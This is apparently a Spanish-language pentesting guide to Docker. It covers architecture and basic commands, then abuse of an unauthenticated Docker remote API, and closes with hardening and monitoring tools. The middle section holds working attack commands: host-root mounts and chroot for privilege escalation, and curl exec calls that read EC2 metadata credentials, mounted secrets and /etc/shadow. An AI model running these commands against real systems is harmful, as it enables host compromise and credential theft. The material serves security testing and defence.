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Conceptos Básicos de Docker

¿Qué es

Docker es la plataforma líder en la industria de la contenerización, liderando la innovación continua. Facilita la creación y distribución sin esfuerzo de aplicaciones, abarcando desde lo tradicional hasta lo futurista, y asegura su implementación segura en diversos entornos.

Arquitectura básica de Docker

  • containerd: Este es un tiempo de ejecución central para contenedores, encargado de la gestión integral del ciclo de vida de un contenedor. Esto implica el manejo de transferencia y almacenamiento de imágenes, además de supervisar la ejecución, monitoreo y redes de contenedores. Se exploran detalles más detallados sobre containerd.
  • El container-shim juega un papel crítico como intermediario en el manejo de contenedores sin cabeza, tomando el relevo de runc después de que los contenedores se inicializan.
  • runc: Estimado por sus capacidades de tiempo de ejecución de contenedores ligero y universal, runc está alineado con el estándar OCI. Es utilizado por containerd para iniciar y gestionar contenedores según las directrices OCI, habiendo evolucionado desde el libcontainer original.
  • grpc es esencial para facilitar la comunicación entre containerd y el motor de Docker, asegurando una interacción eficiente.
  • El OCI es fundamental para mantener las especificaciones OCI para tiempo de ejecución e imágenes, siendo las últimas versiones de Docker compatibles con los estándares de imagen y tiempo de ejecución OCI.

Comandos básicos

docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache

Containerd

Containerd fue desarrollado específicamente para satisfacer las necesidades de plataformas de contenedores como Docker y Kubernetes, entre otras. Su objetivo es simplificar la ejecución de contenedores en varios sistemas operativos, incluidos Linux, Windows, Solaris y más, abstrayendo la funcionalidad específica del sistema operativo y las llamadas al sistema. El objetivo de Containerd es incluir solo las características esenciales requeridas por sus usuarios, esforzándose por omitir componentes innecesarios. Sin embargo, se reconoce que lograr este objetivo por completo es un desafío.

Una decisión de diseño clave es que Containerd no maneja la red. La red se considera un elemento crítico en los sistemas distribuidos, con complejidades como la Red Definida por Software (SDN) y el descubrimiento de servicios que varían significativamente de una plataforma a otra. Por lo tanto, Containerd deja que los aspectos de la red sean gestionados por las plataformas que soporta.

Mientras que Docker utiliza Containerd para ejecutar contenedores, es importante tener en cuenta que Containerd solo admite un subconjunto de las funcionalidades de Docker. Específicamente, Containerd carece de las capacidades de gestión de red presentes en Docker y no admite la creación de enjambres de Docker directamente. Esta distinción destaca el papel enfocado de Containerd como un entorno de tiempo de ejecución de contenedores, delegando funcionalidades más especializadas a las plataformas con las que se integra.

#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>

Podman

Podman es un motor de contenedores de código abierto que cumple con los estándares de la Open Container Initiative (OCI), desarrollado y mantenido por Red Hat. Se destaca de Docker con varias características distintivas, especialmente su arquitectura sin demonio y el soporte para contenedores sin privilegios de root, lo que permite a los usuarios ejecutar contenedores sin privilegios de root.

Podman está diseñado para ser compatible con la API de Docker, lo que permite el uso de comandos de la CLI de Docker. Esta compatibilidad se extiende a su ecosistema, que incluye herramientas como Buildah para construir imágenes de contenedores y Skopeo para operaciones de imágenes como push, pull e inspect. Se pueden encontrar más detalles sobre estas herramientas en su página de GitHub.

Diferencias Clave

  • Arquitectura: A diferencia del modelo cliente-servidor de Docker con un demonio en segundo plano, Podman opera sin un demonio. Este diseño significa que los contenedores se ejecutan con los privilegios del usuario que los inicia, mejorando la seguridad al eliminar la necesidad de acceso de root.

  • Integración con systemd: Podman se integra con systemd para gestionar contenedores, lo que permite la gestión de contenedores a través de unidades de systemd. Esto contrasta con el uso de systemd por parte de Docker principalmente para gestionar el proceso del demonio de Docker.

  • Contenedores sin privilegios de root: Una característica fundamental de Podman es su capacidad para ejecutar contenedores bajo los privilegios del usuario que los inicia. Este enfoque minimiza los riesgos asociados con las brechas de contenedores al garantizar que los atacantes solo obtengan los privilegios del usuario comprometido, no el acceso de root.

El enfoque de Podman ofrece una alternativa segura y flexible a Docker, enfatizando la gestión de privilegios de usuario y la compatibilidad con los flujos de trabajo de Docker existentes.

{% hint style="info" %} Ten en cuenta que dado que Podman tiene como objetivo admitir la misma API que Docker, puedes utilizar los mismos comandos con Podman que con Docker, como:

podman --version
podman info
pdoman images ls
podman ls

{% endhint %}

Información Básica

El API remoto se ejecuta de forma predeterminada en el puerto 2375 cuando está habilitado. El servicio, por defecto, no requerirá autenticación, lo que permite a un atacante iniciar un contenedor de Docker con privilegios. Al utilizar el API remoto, se puede adjuntar hosts / (directorio raíz) al contenedor y leer/escribir archivos del entorno del host.

Puerto predeterminado: 2375

PORT    STATE SERVICE
2375/tcp open  docker

Enumeración

Manual

Ten en cuenta que para enumerar la API de Docker puedes utilizar el comando docker o curl como en el siguiente ejemplo:

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683

Si puedes contactar el API remoto de docker con el comando docker puedes ejecutar cualquiera de los comandos de docker previamente comentados para interactuar con el servicio.

{% hint style="info" %} Puedes export DOCKER_HOST="tcp://localhost:2375" y evitar usar el parámetro -H con el comando docker {% endhint %}

Escalada rápida de privilegios

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

A veces verás 2376 disponible para el punto final de TLS. No he podido conectarme a él con el cliente de docker pero es posible hacerlo con curl.

#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

Si deseas obtener más información al respecto, puedes encontrar más información en el sitio desde donde copié los comandos: https://securityboulevard.com/2019/02/abusing-docker-api-socket/

Automático

msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

Comprometiendo

En la siguiente página puedes encontrar formas de escapar de un contenedor de Docker:

{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} docker-security {% endcontent-ref %}

Abusando de esto es posible escapar de un contenedor, podrías ejecutar un contenedor débil en la máquina remota, escapar de él y comprometer la máquina:

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

Escalada de privilegios

Si te encuentras dentro de un host que está utilizando Docker, puedes leer esta información para intentar elevar privilegios.

Descubriendo secretos en contenedores Docker en ejecución

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

Verifique env (sección de variables de entorno) en busca de secretos y podrías encontrar:

  • Contraseñas.
  • IP's.
  • Puertos.
  • Rutas.
  • Otros... .

Si deseas extraer un archivo:

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Asegurando tu Docker

Asegurando la instalación y uso de Docker

  • Puedes usar la herramienta https://github.com/docker/docker-bench-security para inspeccionar tu instalación actual de Docker.
  • ./docker-bench-security.sh
  • Puedes usar la herramienta https://github.com/kost/dockscan para inspeccionar tu instalación actual de Docker.
  • dockscan -v unix:///var/run/docker.sock
  • Puedes usar la herramienta https://github.com/genuinetools/amicontained para conocer los privilegios que tendrá un contenedor al ejecutarse con diferentes opciones de seguridad. Esto es útil para comprender las implicaciones de usar ciertas opciones de seguridad para ejecutar un contenedor:
  • docker run --rm -it r.j3ss.co/amicontained
  • docker run --rm -it --pid host r.j3ss.co/amicontained
  • docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Asegurando Imágenes de Docker

  • Puedes usar una imagen de Docker de https://github.com/quay/clair para escanear tus otras imágenes de Docker y encontrar vulnerabilidades.
  • docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
  • clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Asegurando Dockerfiles

Registrando Actividades Sospechosas

  • Puedes usar la herramienta https://github.com/falcosecurity/falco para detectar comportamientos sospechosos en contenedores en ejecución.
  • Observa en el siguiente fragmento cómo Falco compila un módulo del kernel e lo inserta. Después de eso, carga las reglas y comienza a registrar actividades sospechosas. En este caso, ha detectado 2 contenedores privilegiados iniciados, 1 de ellos con un montaje sensible, y después de algunos segundos detectó cómo se abrió una terminal dentro de uno de los contenedores.
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)

Monitoreo de Docker

Puedes usar auditd para monitorear Docker.

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

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